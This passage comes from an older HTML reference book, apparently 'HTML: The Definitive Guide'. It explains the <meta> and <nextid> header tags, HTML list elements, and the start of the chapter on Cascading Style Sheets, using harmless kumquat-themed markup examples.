creates a link to an external style sheet within the <head> of a document. See Chapter 9, Cascading Style Sheets, for details.

How browsers might use <link>

Although the HTML standard does not require browsers to do anything with the information provided by the <link> tag, it's not hard to envision how this information might be used to enhance the presentation of a document.

As a simple example, suppose you consistently provide <link> tags for each of your documents that define next, prev, and parent links. A browser could use this information to place a standard toolbar at the top or bottom of each document containing buttons that would jump to the appropriate related document. By relegating the task of providing simple navigational links to the browser, you are free to concentrate on the more important content of your document.

As a more complex example, suppose a browser expects to find a <link> tag defining a glossary for the current document, and that this glossary document is itself a searchable document. Whenever a reader clicked on a word or phrase in the document, the browser could automatically search the glossary for the definition of the selected phrase, presenting the result in a small pop-up window.

As the Web and HTML evolve, expect to see more and more uses of the <link> tag to explicitly define document relationships on the Web.

Previous | Home | Next
Creating Searchable Documents | Book Index | Supporting Document Automation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.8 Supporting Document Automation

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.8 Supporting Document Automation

There are two additional header tags whose primary function is to support document automation, interacting with the Web server itself and document-generation tools.

The <meta> Header Element

Given the rich set of HTML header tags for defining a document and its relationship with others that go unused by most HTML authors, you'd think we'd all be satisfied.

<meta>
Function:

Supply additional information about a document

Attributes:

CHARSET (Internet Explorer)
CONTENT
HTTP_EQUIV
NAME

End tag:

None

Contains:

Nothing

Used in:

head_content

But, no. There's always someone with special needs. They want to be able to give even more information about their precious document, information that might be used by browsers, readers of the HTML source, or by document-indexing tools. The <meta> tag is for you who need to go beyond the beyond.

The <meta> tag belongs in the document header and has no content. Instead, attributes of the tag define name/value pairs that associate the document. In certain cases, these values are used by the web server serving the document to further define the document content type to the browser.

The name attribute

The name attribute supplies the name of the name/value pair defined by the <meta> tag. The HTML standard does not define any predefined <meta> names. In general, you are free to use any name that makes sense to you and other readers of your HTML source.

One common name used is keywords, which defines a set of keywords for the document. When encountered by any of the popular search engines on the Web, these keywords will be used to categorize the document. If you want your documents to be indexed by a search engine, consider putting this kind of tag in the <head> of each document:

<meta name="keywords" content="kumquats, cooking, peeling, eating">

If the name attribute is not provided, the name of the name/value pair is taken from the http-equiv attribute.

content

The content attribute

The content attribute provides the value of the name/value pair. It can be any valid string, enclosed in quotes, if necessary. It should always be specified in conjunction with either a name or http-equiv attribute.

As an example, you might place the author's name in a document with:

<meta name="Authors" content="Chuck Musciano & Bill Kennedy">

The http-equiv attribute

The http-equiv attribute supplies a name for the name/value pair and instructs the server to include the name/value pair in the MIME document header that is passed to the browser before sending the actual document.

When a server sends a document to a browser, it first sends a number of name/value pairs. While some servers might send a number of these pairs, all servers send at least one:

content-type: text/html

This tells the browser to expect to receive an HTML document.

When you use the <meta> tag with the http-equiv attribute, the server will add your name/value pairs to the content header it sends to the browser. For example, adding:

<meta http-equiv="charset" content="iso-8859-1">
<meta http-equiv="expires" content="31 Dec 99">

causes the header sent to the browser to contain:

content-type: text/html
charset: iso-8859-1
expires: 31 Dec 99

Of course, adding these additional header fields makes sense only if your browser accepts the fields and uses them in some appropriate manner.

The charset attribute

Internet Explorer provides explicit support for a charset attribute in the <meta> tag. Set the value of the attribute to the name of the character set to be used for the document. This is not the recommended way to define a document's character set. Rather, we recommend always using the http-equiv and content attributes to define the character set.

The <nextid> Header Element

This tag is not defined in the HTML 3.2 standard and should not be used. We describe it here for historical reasons.

<nextid>
Function:

Define the next valid document entity identifier

Attributes:

n

End tag:

None

Contains:

Nothing

Used in:

head_content

The idea behind the <nextid> tag is to provide some way of automatically indexing fragment identifiers.

The n attribute

The n attribute specifies the name of the next generated fragment identifier. Although the HTML standard does not define the format of this name, it is typically an alphabetic string followed by a two-digit number. A typical <nextid> tag might look like this:

<html>
<head>
<nextid n=DOC54>
</head>
...

An automatic-document generator might use the nextid information, then, to successively name fragment identifiers DOC54, DOC55, and so forth within this document.

Previous | Home | Next
Establishing Document Relationships | Book Index | Formatted Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] Formatted Lists

HTML: The Definitive Guide

Previous Chapter 8 Next

8. Formatted Lists

Contents:
Unordered Lists
Ordered Lists
The <li> Tag
Nesting Lists
Directory Lists
Menu Lists
Definition Lists
Appropriate List Usage

Making information more accessible is the single most important quality of HTML. The language's excellent collection of text style and formatting tools helps you organize your information into documents readers quickly understand, scan, and extract, possibly with automated browser agents.

Beyond embellishing your text with specialized text tags, HTML also provides a rich set of tools that help you organize content into formatted lists. There's nothing magical or mysterious about HTML lists. In fact, the beauty of HTML lists is their simplicity. They're based on common list paradigms we encounter every day, such as an unordered laundry list, ordered instruction lists, and dictionary-like definition lists. All are familiar, comfortable ways of organizing content. All provide powerful means for quickly understanding, scanning, and extracting pertinent information from your HTML documents.

8.1 Unordered Lists

Like a laundry or shopping list, an unordered list in HTML is a collection of related items that have no special order or sequence. The most common unordered list you'll find on the Web is a collection of hyperlinks to other documents. Some common topic, like "Related Kumquat Lovers' Sites," allies the items in an unordered list, but they have no order among themselves.

The <ul> Tag

The <ul> tag signals the browser that the following content, ending with the </ul> tag, is an unordered list of items. Inside, each item in the unordered list is identified by a leading <li> tag. Otherwise, nearly anything HTML-wise goes, including other lists, text, and multimedia elements. [the section called "The <li> Tag"]

<ul>
Function:

Define an unordered list

Attributes:

CLASS (Netscape) (Internet Explorer)
COMPACT
STYLE (Netscape) (Internet Explorer)
TYPE

End tag:

</ul>, never omitted

Contains:

list_content

Used in:

block

Typically, the browser adds a leading bullet character and formats each item on a new line, indented somewhat from the left margin of the document. The actual rendering of unordered lists, however, varies widely between browsers, so you shouldn't get bent out of shape trying to attain exact positioning of the elements. For instance, some browsers treat the start of an unordered list as a new paragraph and, like the <p> tag, leave a blank line above the list. Other browsers simply start the list item after a simple line break. Browsers vary, too, in how much space they use between list items. For example, the following source:

Popular Kumquat recipes:
<ul>
  <li>Pickled Kumquats
  <li>'Quats and 'Kraut (a holiday favorite!)
  <li>'Quatshakes
</ul>
There are so many more to please every palate!

appears to the Mosaic user as shown in Figure 8.1.

Figure 8.1: A simple unordered list

[Graphic: Figure 8-1]

Tricky HTML authors sometimes use nested unordered lists, with and without <li>-tagged items, to take advantage of the automatic, successive indenting. You can produce some fairly slick text segments that way. Just don't depend on it for all browsers, including future ones. Rather, it's best to use the border property with a style definition in the paragraph (<p>) or division (<div>) tag to indent nonlist sections of your document (see Chapter 9, Cascading Style Sheets).

The type attribute

The graphical browsers automatically bullet each <li>-tagged item in an unordered list. Netscape and Internet Explorer use a solid circle, for example; Mosaic precedes unordered list items with a hollow square (on the Mac) or a round ball (PC and UNIX). Browsers that support HTML 3.2 let you use the type attribute to specify which bullet symbol you'd rather have precede items in an unordered list. This attribute may have a value of either disc, circle, or square. All the items within that list will thereafter use the specified bullet symbol, unless an individual item overrides the list bullet type, as described later in this chapter.

Compact unordered lists

If you like wide open spaces, you'll hate the optional compact attribute for the <ul> tag. It tells the browser to squeeze the unordered list into an even smaller, more compact text block. Typically, the browser reduces the line spacing between list items. And it may reduce the indentation between list items, if it does anything at all (usually it doesn't).

Some browsers ignore the compact attribute, so you should not overly depend on its formatting attributes.

The style and class attributes

The style attribute for the <ul> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <ul> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Supporting Document Automation | Book Index | Ordered Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.2 Ordered Lists

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.2 Ordered Lists

Use an ordered list when the sequence of the list items is important. A list of instructions is a good example, as are tables of content and lists of document footnotes or endnotes.

The <ol> Tag

The typical browser formats the contents of an ordered list just like an unordered list, except that the items are numbered instead of bulleted. The numbering starts at one and is incremented by one for each successive ordered list element tagged with <li>. [the section called "The <li> Tag"]

<ol>
Function:

Define an ordered list

Attributes:

CLASS (Netscape) (Internet Explorer)
COMPACT
START
STYLE (Netscape) (Internet Explorer)
TYPE

End tag:

</ol>, never omitted

Contains:

list_content

Used in:

block

HTML 3.2 has a number of features that provide a wide variety of ordered lists. You can change the start value of the list and select any of five different numbering styles. Here is a sample ordered list:

<h3>Pickled Kumquats</h3>
Here's an easy way to make a delicious batch of pickled 'quats:
<ol>
  <li>Rinse 50 pounds of fresh kumquats
  <li>Bring eight gallons white vinegar to rolling boil
  <li>Add kumquats gradually, keeping vinegar boiling
  <li>Boil for one hour, or until kumquats are tender
  <li>Place in sealed jars and enjoy!
</ol>

This is rendered by Netscape as shown in Figure 8.2.

Figure 8.2: An ordered list

[Graphic: Figure 8-2]

The start attribute

Normally, browsers automatically number ordered list items beginning with the Arabic numeral 1. The start attribute for the <ol> tag lets you change that beginning value. To start numbering a list at 5, for example:

<ol start=5>
  <li> This is item number 5.
  <li> This is number six!
  <li> And so forth...
</ol>

The type attribute

By default, browsers number ordered list items with a sequence of Arabic numerals. Besides being able to start the sequence at some number other than 1, you can use the type attribute with the <ol> tag to change the numbering style itself. With the <ol> tag, the type attribute may have a value of "A" for numbering with capital letters, "a" for numbering with lowercase letters, "I" for capital Roman numerals, "i" for lowercase Roman numerals, or "1" for common Arabic numerals. (See Table 8.1).

Table 8.1: HTML 3.2 type values for numbering ordered lists
Type Value | Generated Style | Sample Sequence
A | Capital letters | A, B, C, D
a | Lowercase letters | a, b, c, d
I | Capital Roman numerals | I, II, III, IV
i | Lowercase Roman numerals | i, ii, iii, iv
1 | Arabic numerals | 1, 2, 3, 4

The start and type attribute extensions work in tandem. The start attribute sets the starting value of the item integer counter at the beginning of an ordered list. The type attribute sets the actual numbering style. For example, the following ordered list starts numbering items at 8, but because the style of numbering is set to i, the first number is the lowercase Roman numeral, "viii." Subsequent items are numbered with the same style, each value incremented by 1 as shown in this example:

<ol start=8 type="i">
  <li> This is the Roman number 8.
  <li> The numerals increment by 1.
  <li> And so forth...
</ol>

The results are shown in Figure 8.3.

Figure 8.3: The start and type attributes work in tandem

[Graphic: Figure 8-3]

The type and value of individual items in a list can be different from the list as a whole, as described in 3.1.

Compact ordered lists

Like the unordered list, the ordered list in HTML has an optional compact attribute. When instructed to compact the ordered list, the browser may reduce the indentation, reduce the amount of space between the sequence numbers and the list items, or both. Some browsers cannot compact and so do nothing.

The style and class attributes

The style attribute for the <ol> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <ol> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Unordered Lists | Book Index | The <li> Tag
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.3 The <li> Tag

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.3 The <li> Tag

It should be quite obvious to you by now that the <li> tag defines an item in a list. It's the universal tag for HTML list items in ordered (<ol>) and unordered (<ul>) lists, as we discuss above, and for directories (<dir>) and menus (<menu>), which we discuss in detail later in this chapter.

<li>
Function:

Define an item within an ordered, unordered, directory, or menu list

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
TYPE
VALUE

End tag:

</li>, usually omitted

Contains:

flow

Used in:

list_content

Because the end of a list element can always be inferred by the surrounding document structure, most authors omit the ending </li> tags for their list elements. That makes sense because it becomes easier to add, delete, and move elements around within a list. We recommend not using the </li> end tag.

Although universal in meaning, there are some differences and restrictions to the use of the <li> tag for each HTML list type. In unordered and ordered lists, what follows the <li> tag may be nearly anything, including other lists and multiple paragraphs. Typically, if it handles indentation at all, the browser successively indents nested list items, and the content in those items is justified to the innermost indented margin.

Directory and menu lists are another matter. They are lists of short items like a single word or simple text blurb and nothing else. Consequently, <li> items within <dir> and <menu> tags may not contain other lists or other block elements, including paragraphs, preformatted blocks, or forms.

Clean documents, fully compliant with the HTML standard, should not contain any text or other document item inside the unordered, ordered, directory, or menu lists that is not contained within an <li> tag. Most browsers are tolerant of violations to this rule, but then you can't hold the browser responsible for compliant rendering for exceptional cases, either.

Changing the Style and Sequence of Individual List Items

Just as you can change the bullet or numbering style for all of the items in an unordered or ordered list, you also can change the style for individual items within those lists. With ordered lists, you also can change the value of the item number. As you'll see, the combinations of changing style and numbering can lead to a variety of useful list structures, particularly when included with nested lists.

The type attribute

Acceptable values for the type attribute in the <li> tag are the same as the values for the appropriate list type: items within unordered lists may have their type set to circle, square, or disc, while items in an ordered list may have their type set to any of the values shown previously in Table 8.1. The change affects the current item and any subsequent items in the list.

There is no way to revert back to the list's default type once you have changed the type for a single item; you'll need to explicitly reset the type on the next item. Thus, to make a single item in a list different from the rest, you'll need to change two items: the actual item you want changed, and the next item, which must be changed back to the general list format.

Figure 8.4 shows the effect that changing the type for an individual item in an ordered list has on subsequent items, as rendered by Netscape from the following source:

<ol>
  <li type=A>Changing the numbering style
  <li type=a>Doesn't alter the order!
  <li> &lt;-- See? It's a "c"!
  <li type=I>Uppercase Roman numerals!
  <li type=i>Lowercase Roman numerals!
  <li type=1>Plain ol' numbers!
</ol>

Figure 8.4: Changing the numbering style for each item in an ordered list

[Graphic: Figure 8-4]

Notice how the type attribute changes the display style of the number, but not the value of the number itself.

The value attribute

The value attribute lets you change the number of a specific list item and the ones that follow it. Since the ordered list is the only HTML list with sequentially numbered items, the value attribute is only valid when used within an <li> tag inside an ordered list.

To change the current and subsequent numbers attached to each item in an ordered list, simply set the value attribute to any integer. For example, the following source uses the value attribute to jump the numbering on items in an ordered list:

<ol>
  <li>Item number 1
  <li>And the second
  <li value=9> Jump to number 9
  <li>And continue with 10...
</ol>

The results are shown as rendered by Netscape in Figure 8.5.

Figure 8.5: The value attribute lets you change individual item numbers in an ordered list

[Graphic: Figure 8-5]

The style and class attributes

The style attribute for the <li> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <li> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Previous | Home | Next
Ordered Lists | Book Index | Nesting Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.4 Nesting Lists

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.4 Nesting Lists

Except inside directories or menus, lists nested inside other lists are fine. Menu and directory lists can be embedded within other lists.

Indents for each nested list are cumulative, so take care not to nest lists too much; the list contents could quickly turn into a thin ribbon of text flush against the right edge of the browser document window.

Nested Unordered Lists

The items in each nested unordered list may be preceded by a different bullet character at the discretion of the browser. For example, Internet Explorer Version 2 for the Macintosh uses an alternating series of hollow, solid circular, and square bullets for the various nests in the following source HTML text as shown in Figure 8.6:

<ul>
  <li>Morning Kumquat Delicacies
  <ul>
    <li>Hot Dishes
    <ul>
      <li>Kumquat omelet
      <li>Kumquat waffles
      <ul>
        <li>Country style
        <li>Belgian
      </ul>
      <li>Kumquats and toast
    </ul>
    <li>Cold Dishes
    <ul>
      <li>Kumquats and cornflakes
      <li>Pickled Kumquats
      <li>Diced Kumquats
    </ul>
  </ul>
</ul>

Figure 8.6: Bullets change for nested unordered list items

[Graphic: Figure 8-6]

You can change the bullet style for each unordered list and even individual list items (see the type attribute discussion earlier in this chapter), but the repertoire of bullets is limited. For example, Internet Explorer for Windows 95 uses a solid disc regardless of the nesting level.

Nested Ordered Lists

By default, browsers number the items in ordered lists beginning with the Arabic numeral 1, nested or not. It would be great if the HTML standard numbered nested ordered lists in some rational, consecutive manner. For example, the items in the second nest of the third main ordered list might be successively numbered "3.2.1," "3.2.2," "3.2.3," and so on.

With the type and value attributes, however, you do have a lot more latitude in how you create nested ordered lists. An excellent example is the traditional style for outlining, which uses the many different ways of numbering items offered by the type attribute (see Figure 8.7):

<ol type=A>
  <li>A History of Kumquats
  <ol type=1>
    <li>Early History
    <ol type=a>
      <li>The Fossil Record
      <li>Kumquats: The Missing Link?
    </ol>
    <li>Mayan Use of Kumquats
    <li>Kumquats in the New World
  </ol>
  <li>Future Use of Kumquats
</ol>

Figure 8.7: The type attribute lets you do traditional outlining with ordered lists

[Graphic: Figure 8-7]

Previous | Home | Next
The <li> Tag | Book Index | Directory Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.5 Directory Lists

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.5 Directory Lists

The directory list is a specialized form of the unordered list. [the section called "The <ul> Tag"]

The <dir> Tag

The designers of HTML originally dedicated the <dir> tag for displaying lists of files. As such, the browser, if it treats <dir> and <ul> differently at all (most don't), expects the various list elements to be quite short, possibly no longer than 20 characters or so. Some browsers display the elements in a multicolumn format and may not use a leading bullet.

<dir>
Function:

Define a directory list

Attributes:

CLASS (Netscape) (Internet Explorer)
COMPACT
STYLE (Netscape) (Internet Explorer)

End tag:

</dir>, never omitted

Contains:

list_content

Used in:

block

As with the unordered list, define directory list items with the <li> tag. When used within a directory list, however, the <li> tag may not contain any block element, including paragraphs, other lists, preformatted text, or forms.

The following example puts the directory tag to its traditional task of presenting a list of filenames:

The distribution tape has the following files on it:
<dir>
  <li><code>README</code>
  <li><code>Makefile</code>
  <li><code>main.c</code>
  <li><code>config.h</code>
  <li><code>util.c</code>
</dir>

Notice that we use the <code> tag to ensure that the filenames would be rendered in an appropriate manner (see Figure 8.8).

Figure 8.8: An example <dir> list

[Graphic: Figure 8-8]

Like the other formatting tags we've seen so far, the <dir> tag has an optional compact attribute for producing an even more reduced list display, even though virtually none of the browsers is either willing or capable of compacting directory lists.

You can change the style used to bullet the <dir> list items with the type attribute extension and the values circle, square, or disc. This behavior is identical to the type attribute in an unordered list.

The style and class attributes

The style attribute for the <dir> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <dir> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Previous | Home | Next
Nesting Lists | Book Index | Menu Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.6 Menu Lists

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.6 Menu Lists

The HTML menu list is yet another specialized form of the unordered list.

The <menu> Tag

The <menu> tag displays a list of short choices to the reader, such as a menu of links to other documents. The browser may use a special (typically more compact) representation of items in a menu list compared with the general unordered list, or even use some sort of graphical pull-down menu to implement the menu list. If the list items are short enough, the browser may even display them in a multicolumn format, and may not append a leading bullet with each list item.

<menu>
Function:

Define a menu list

Attributes:

CLASS (Netscape) (Internet Explorer)
COMPACT
STYLE (Netscape) (Internet Explorer)
TYPE

End tag:

</menu>, never omitted

Contains:

list_content

Used in:

block

Like an unordered list, define the menu list items with the <li> tag. When used within a menu list, however, the <li> tag may not contain any block element, including paragraphs, other lists, preformatted text, or forms.

Compare the source text below and the Mosaic display (Figure 8.9) with the directory (Figure 8.8) and unordered (Figure 8.1) list displays we presented earlier in this chapter.

<p>
Some popular kumquat recipes include:
<menu>
  <li>Pickled Kumquats
  <li>'Quats and 'Kraut (a holiday favorite!)
  <li>'Quatshakes
</menu>
There are many more to please every palate!

Figure 8.9: Sample <menu> list

[Graphic: Figure 8-9]

The <menu> tag also has the compact attribute to produce an even more reduced list presentation, although in practice, few browsers are willing or able to implement the compacted menu list display. Netscape, in fact, doesn't distinguish between a menu and an unordered list.

You can change the style of the bullet that precedes the <menu> list items with the type attribute extension and the values circle, square, or disc. This behavior is identical to that of the type attribute in an unordered list.

The style and class attributes

The style attribute for the <menu> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <menu> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Directory Lists | Book Index | Definition Lists
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.7 Definition Lists

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.7 Definition Lists

HTML also supports a list style entirely different from the ordered, unordered, menu, and directory lists we've discussed so far: definition lists. Like the entries you find in a dictionary or encyclopedia, complete with text, pictures, and other multimedia elements, the definition list is the ideal way to present a glossary, list of terms, or other name/value lists in HTML.

The <dl> Tag

The definition list is enclosed by the <dl> and </dl> tags. Within those tags, each item in a definition list is composed of two parts: a term followed by its definition or explanation. Instead of <li>, each item name in a <dl> list is marked with the <dt> tag, followed by the item's definition or explanation as marked by the <dd> tag.

<dl>
Function:

Define a definition list

Attributes:

CLASS (Netscape) (Internet Explorer)
COMPACT
STYLE (Netscape) (Internet Explorer)

End tag:

</dl>, never omitted

Contains:

dl_content

Used in:

block

Browsers typically render the item or term name at the left margin and render the definition or explanation below it and indented. If the definition terms are very short (typically less than three characters), the browser may choose to place the first portion of the definition on the same line as the term. See how the source HTML definition list below gets displayed by Netscape in Figure 8.10.

<h3>Common Kumquat Parasites</h3>
<dl>
  <dt>Leaf mites
  <dd>The leaf mite will ravage the Kumquat tree, stripping it
      of any and all vegetation.
  <dt>Trunk dropsy
  <dd>This microscopic larvae of the common opossum
      chigger will consume the structural elements of the
      tree trunk, causing it to collapse inward.
</dl>

Figure 8.10: A definition list as presented by Netscape

[Graphic: Figure 8-10]

As with other list types, you can add more space between the list items by inserting paragraph <p> tags between them or by defining a spacious style for the <li> tag.

More compact definition lists

The <dl> tag also has the compact attribute, advising the browser to make the list presentation as small as possible. The browser may choose to reduce the inter-item spacing, shift the definition to the left margin instead of indenting, or reduce the size of the type used to present the list. Whether or not a browser actually does any of these things is up to its manufacturer. Few do.

The style and class attributes

The style attribute for the <dl> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <dl> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

The <dt> Tag

This <dt> tag defines the term component of a definition list. It is only valid when used within a definition <dl> list preceding the term or item, before the <dd> tag and the term's definition or explanation.

<dt>
Function:

Define a definition list term

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</dt>, always omitted

Contains:

text

Used in:

dl_content

Traditionally, the definition term that follows the <dt> tag is short and sweet--a word or few. Technically, it can be any length. If long, the browser may exercise the option of extending the item beyond the display window, or wrap it onto the next line where the definition begins.

Since the end of the <dt> tag immediately precedes the start of the matching <dd> tag, it is unambiguous and so not required.

Formatting text with <dt>

In practice, browsers are either too lenient or too dumb to enforce the HTML rules, so some tricky HTML authors misuse the <dt> tag to shift the left margin right and left, respectively, for fancy text displays. (Remember, tab characters and leading spaces don't usually work with regular text.) We don't condone violating the HTML standard and caution you once again about tricked-up documents. Use style sheets instead.

The style and class attributes

The style attribute for the <dt> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <dt> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The <dd> Tag

The <dd> tag marks the start of the definition portion of an item in a definition list. According to the HTML standard, <dd> belongs only inside a definition <dl> list, immediately following the <dt> tag and term and preceding the definition or explanation.

<dd>
Function:

Define a definition

list termAttributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</dd>, always omitted

Contains:

flow

Used in:

dl_content

The content that follows the <dd> tag may be any HTML construct, including other lists, block text, and multimedia elements. Although treating it otherwise identically as conventional content, browsers typically indent definition list <dd> definitions. And since the start of another term and definition (<dt>) or the required end tag of the definition (</dl>) unambiguously terminates the preceding definition, the </dd> tag is not needed and its absence makes your source text more readable.

The style and class attributes

The style attribute for the <dd> tag creates an inline style for the elements enclosed by the tag, overriding any other style rule in effect. The class attribute lets you format the content according to a predefined class of the <dd> tag; its value is the name of that class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Menu Lists | Book Index | Appropriate List Usage
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.8 Appropriate List Usage

HTML: The Definitive Guide

Previous Chapter 8
Formatted Lists 		Next

8.8 Appropriate List Usage

In general, use unordered lists for:

  • Hotlists and other link collections

  • Short, nonsequenced groups of text

  • Emphasizing the high points of a presentation

In general, use ordered lists for:

  • Tables of content

  • Instruction sequences

  • Sets of sequential sections of text

  • Assigning numbers to short phrases that can be referenced elsewhere

In general, use definition lists for:

  • Glossaries

  • Custom bullets (make the item after the <dt> tag an icon-sized bullet image)

  • Any list of name/value pairs

Previous | Home | Next
Definition Lists | Book Index | Cascading Style Sheets
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] Cascading Style Sheets

HTML: The Definitive Guide

Previous Chapter 9 Next

9. Cascading Style Sheets

Contents:
The Elements of Styles
Style Syntax
Style Properties
Tag-Less Styles: The <span> Tag
Applying Styles to Documents

Style sheets are the way publishing professionals manage the overall "look" of their publications--backgrounds, fonts, colors, and so on--from a single page to huge collections of documents. Most desktop publishing software supports style sheets, as do the popular word processors. All desktop publishers and graphic designers worth their salt are out there making web pages. So the cry-to-arms was inevitable: "Whaddaya mean HTML has no style sheets?!"

From its earliest origins, HTML focused on content over style. Authors are encouraged to worry about providing high quality information, and leave it to the browser to worry about presentation. We strongly urge you, too--as we do throughout this book--to adopt that philosophy in your HTML documents, especially those destined for the World Wide Web. Don't mistake style for substance.

However, while use of the HTML <font> tag and related attributes like color produce acute presentation effects, style sheets, when judiciously applied, bring consistency and order to whole document collections, as well as to individual documents. Remember, too, that presentation is for the benefit of the reader. Even the original designers of HTML understood the interplay between style and readability. For instance, readers can quickly identify section heads in a document when they are enclosed in header tags like <h2>, which the modern browsers present in large and often bold type. Style sheets extend that presentation with several additional effects, including colors and a wider selection of fonts, so that readers can even better distinguish elements of your document. But most importantly, style sheets let the HTML author control the presentation attributes for all the tags in a document--for a single document or a whole collection of many documents, and from a single master style sheet.

In early 1996, the World Wide Web Consortium put together a draft proposal defining Cascading Style Sheets (CSS) for HTML. This draft proposal quickly matured into a recommended standard, which the commercial browser manufacturers were quick to exploit. Internet Explorer 3.0, introduced in the summer of 1996, implements a subset of the W3C standard. Netscape Navigator has broader support for style sheets in Version 4.0, which was introduced in 1997. Style is fast achieving parity with content on the World Wide Web.

In keeping with our philosophy of favoring real implementations over standards, we'll start by documenting style sheets as they currently work in the real world. At this writing, style sheets were partially supported by Internet Explorer 3.0 and the third pre-release of Netscape 4.0. We know that browser support of style sheets will change faster than we can reprint this book, so we have created a separate "compliance document" that you can use to determine how style sheets are implemented by the latest releases of the browsers. You can find this document at http://www.ora.com/info/html/. The information in this document should always be considered more timely and accurate than the information in this book.

Since we realize that eventual compliance with the W3C standard is likely, we'll cover all the components of the standard in this chapter, even if they are not yet supported by any browser. As always, we'll denote clearly what is real, what is proposed, and what is actually supported.

9.1 The Elements of Styles

At the simplest level, a style is nothing more than a rule that tells the browser how to display a particular HTML tag. Each tag has a number of properties associated with it, whose values define how that tag is rendered by the browser. A rule defines a specific value for one or more properties of a tag. For example, most tags have a color property, the value of which defines the color used to display that tag. Other properties include font attributes, line spacing, margins, borders, and the like, which we describe in detail later in this chapter.

There are three ways to attach a style to a tag: inline styles, document-level styles, and external style sheets. You may use one or more style types in your documents. The browser either merges the style definitions from each style or redefines the style characteristic for a tag's contents. Styles from these various sources are applied to your document, combining and defining style properties that cascade from external style sheets through local document styles, ending with inline styles. This cascade of properties and style rules gives rise to the standard's name: Cascading Style Sheets.

We cover the syntactic basics of the three style sheet techniques here. We delve more deeply into the appropriate use of inline, document-level, and external style sheets at the end of this chapter.

style attribute

Inline Styles: The style Attribute

The inline style is the simplest way to attach a style to a tag--just include a style attribute with the tag along with a list of properties and their values. The browser uses those style properties to render the contents of just this instance of the tag.

For instance, the following style tells the browser to display the level-one header text, "I'm so bluuuuoooo!", not only in the <h1> tag style characteristic of the browser, but also in the color blue and italicized (if the browser is capable):

<h1 style="color: blue; font-style: italic">I'm so bluuuuoooo!</h1>

This type of style definition is called "inline" because it occurs with the tag as it appears in the document. The scope of the style covers the contents of that tag only. Since inline styles are sprinkled throughout your document, they can be difficult to maintain. Use the style attribute sparingly and only in those rare circumstances when you cannot achieve the same effects otherwise.

Document-Level Style Sheets

The real power of style sheets dawns when you place a list of presentation rules within the head of an HTML document. Enclosed within their own <style> and </style> end tags, so-called "document-level" style sheets affect all the same tags within that document, except for tags that contain an overriding inline style attribute.

<style>
Function:

Defines a document-level style sheet

Attributes:

TYPE

End tag:

</style>; rarely omitted

Contains:

styles

Used in:

head_content

The <style> tag must appear within the <head> of a document. Everything between the <style> and </style> tags is considered part of the style rules to be applied to the document. To be perfectly correct, the content of the <style> tag is not HTML and is not bound by the normal rules for HTML content. The <style> tag, in effect, lets you insert foreign content into your HTML document that the browser uses to format your tags.

The <style> tag has just one attribute, type. It defines the types of styles you are including within the tag. Cascading style sheets always carry the type text/css; JavaScript style sheets use the type text/javascript. You may omit the type attribute and hope the browser will figure out the kind of styles you are using. We prefer to include the type attribute so that there is no opportunity for confusion. [the section called "JavaScript Style Sheets"]

For example, a style-conscious browser will display the contents of all <h1> tags as blue, italic text in a document that has the following document-level style sheet definition in its head:

<head>
<title>All True Blue</title>
<style type="text/css">
  <!--
  /* make all H1 headers blue */
  H1: {color: blue; font-style: italic}
  -->
</style>
</head>
<body>
<h1>I'm so bluuuuoooo!</h1>
...
